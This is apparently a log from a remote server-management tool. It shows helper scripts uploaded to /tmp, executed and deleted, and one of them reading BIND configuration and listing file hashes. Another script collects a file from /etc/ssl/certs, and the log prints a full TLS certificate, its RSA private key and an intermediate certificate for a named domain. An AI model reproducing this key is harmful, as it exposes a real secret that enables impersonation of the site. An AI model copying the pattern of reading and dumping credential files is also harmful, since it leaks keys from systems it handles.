        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-28 20:12:15: 

chmod 755 /tmp/pkp527604; /tmp/pkp527604; rm /tmp/pkp527604

2026-04-28 20:12:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	5372
3c:4f:c8:4a:d8:9a:6e:e8:22:6e:c3:14:ae:40:6a:1c

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBT+RmqnuBldR2qJfJ7+ej8LzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI4MTkxMzQxWhcNMjYwNzI3MTkxMzQwWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDLSaQ1HPBlGozacpZRjYWwvyYqb8ilejusL/F+k5JxmkEkpF38
DC4f4FIpGdWWoMAEbA5LF0eZ8hMdCFELJe+qPrQ33hpbal6P1cnbVqmw+gUYJf/6
L0xNbugF4v+5p7LPFQ+aYz6jr1D+gUU+J1LLxOUholvqCmDNpKTUlKWHlf326rub
9vb8sRv2ucaWKTN7UieShVwhwjMcYpnrdFZeX2OYRpwYRtX8Fnx1cr6UncsPEgnK
Lh0R+blqziTwKcltdxk9padXw1x81a7sPYIl7jgyxbWpaV4QC1sh+n9/vfzyGqw0
c6l7MF39e12/1LAG/kos91X5MJnPeLv3tJTLAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUc16bdkCcFoKXhG4S+CGwSaVubW4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTYuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AH4AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGd1biANQAI
AAAFAAz1kTkEAwBHMEUCIQC7iXpYv+ZVsn0iRCIJS9YoXcvH5WQBQewBAoyN9xbj
DAIgDNxXSG3HAvOVa+zBPV/oPp3A8Z82ZX4qBPIBB+e8q08AdQCvZ4g7V7BO3Y+m
2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ3VuIjwAAAEAwBGMEQCIF3nC3B5S/S0
dSKTUDrr5pyAPboGJATS3oZ/CU1UeGULAiARTdNYqBljxKqdx6gd8XxJNPTZzThP
gTHgFarAxY01ozANBgkqhkiG9w0BAQsFAAOCAQEABRRFak4hedX2/R+X7n4jDwH2
mK4IDoMnNJo6z8CWacRxVTjYHhii6rpErTq6n4hnbqD6GV6oAaIi2BmbWhXwIcV8
H2H6BdnwaPQkYN8VmykQDTl2yW+P+7/b99C6jjS0ZgJAl41q3iNMXacY6Z9rw8ws
lacO8kzvDGdiqqso21NzxC2zNu6MHQlWQdqHa1uT5UOqGgsnYt3HofSoH3xiw5Bx
fc/qtKghQbWaCvlZ9f6+vkY8KqdQbER8YsthDwc+b8kOcXJrTSHhC5gT5PXLigVM
NocirMCEDtai/lqWeY6J/55IlYU/PRD849Ggk6lE6BfhH+fVYB85a0RNk8rnUA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLSaQ1HPBlGoza
cpZRjYWwvyYqb8ilejusL/F+k5JxmkEkpF38DC4f4FIpGdWWoMAEbA5LF0eZ8hMd
CFELJe+qPrQ33hpbal6P1cnbVqmw+gUYJf/6L0xNbugF4v+5p7LPFQ+aYz6jr1D+
gUU+J1LLxOUholvqCmDNpKTUlKWHlf326rub9vb8sRv2ucaWKTN7UieShVwhwjMc
YpnrdFZeX2OYRpwYRtX8Fnx1cr6UncsPEgnKLh0R+blqziTwKcltdxk9padXw1x8
1a7sPYIl7jgyxbWpaV4QC1sh+n9/vfzyGqw0c6l7MF39e12/1LAG/kos91X5MJnP
eLv3tJTLAgMBAAECggEAH///SEO+Qmaz223Zjww0X5vcryYaMz+S2x+k587lE4WQ
/D/0x3NHY3R/78EFp94Ku+d34dwlROzKk3G2stw4O4KpWHiu33WsCFTtSd380kNZ
FUcODLJF/ukWvwPPoMhEKRLgpOXl0LBikzLYKoOC0K61ft48PRLV0Ck7BSJCYvLd
NcYhmkGVgASFRw9vjtqImHMq4cl+mwejFSqOyjThY7JSw0d5AXhxJTRgyTZK9NUB
FBBdyfxb9xNOs1ntG8ZT9EGhszZZ5GK3WsOCCpfIom5b8qqZVBS+GAqkwu2qGsRb
Sqs72p+pQr7yi6OUDzYCJuChJx+OmJtI2nrPXqwFwQKBgQDwC5V4xVl8S5Uwzjzm
WfreIbwUhDOqZVy3GQH+ppodwCQw4WaDBhn0HPSmh29wVd0GGWsnwrQnnl05u84v
6ADZytvZJhA/ZM/sJGsHcBXZVuM1jPLhL5y8iHDW8cJvLGEfXm5mvMQlZVU2lRP/
TRPPHkcckL670TUHeqxewBlU6wKBgQDYzJ7A+uG+P4nZnbZ5B8+NvyKaF5US6COn
2YPcic4UgZXWAc14qOx42L//oQ9BCDxCZ/SS+fLTYMlYVd+g2adsyaJbV8dfZPX5
90CwSJXbdYstxHCjF/Ozt1iN/h18bxgxUZG5DReiZjOx6SQaWDMeLh7L8cg/Kem3
236KKWtHoQKBgQCBw4FV/DlXu/Q2ogbB77pyAoKOBLl5T7pDML2nT6DYnFn0IqUs
B0xYbp7Ct0xCyefluC/5GoQRNsbmwuO/egebtNIMHUuDOZg866MALlNhXlsNQ9i4
auir8oYtbBvTxYXrUz0TRNAz9weNriFVTfF7cb63bnftSDcGiAZOYkJPaQKBgQDG
YHXjn61wqDM7LVUK6lrBGWRQG8QMyN3XePFvm6k2mlzAtmWNQwUejzcgcf/DQgXh
vb3Nv2iygp26dtlqFb9djCND8c49O+TYFabbp494gNYZyuZGVmRozhv50cypT/6T
IlB1Q8WclGg5I1wlvw8HTqxfcZ4KLg/ubKodQkkoAQKBgAYgCgsiZmJH2Fj0tz/r
8LK/PNwHdWYg4cKNj4BPmOKH1eaSZ3x1Jy302mjG+cDnkQvnPAcIJZ78xn3/mhmF
MHEhp/8MEOHdp86Wk+T4z2dgFvVonxjT5d9Gk67Gvy++oUAdfsnVPDYYL/FU8kTh
B+QDntYRNCAn+28hJEB5aArj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-29 14:29:41: Establishing a connection
2026-04-29 14:30:17: Establishing a connection
2026-04-29 14:30:17: 

PUT: /tmp/pkp542317

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-29 14:30:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp542317; rm /tmp/pkp542317'

2026-04-29 14:30:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
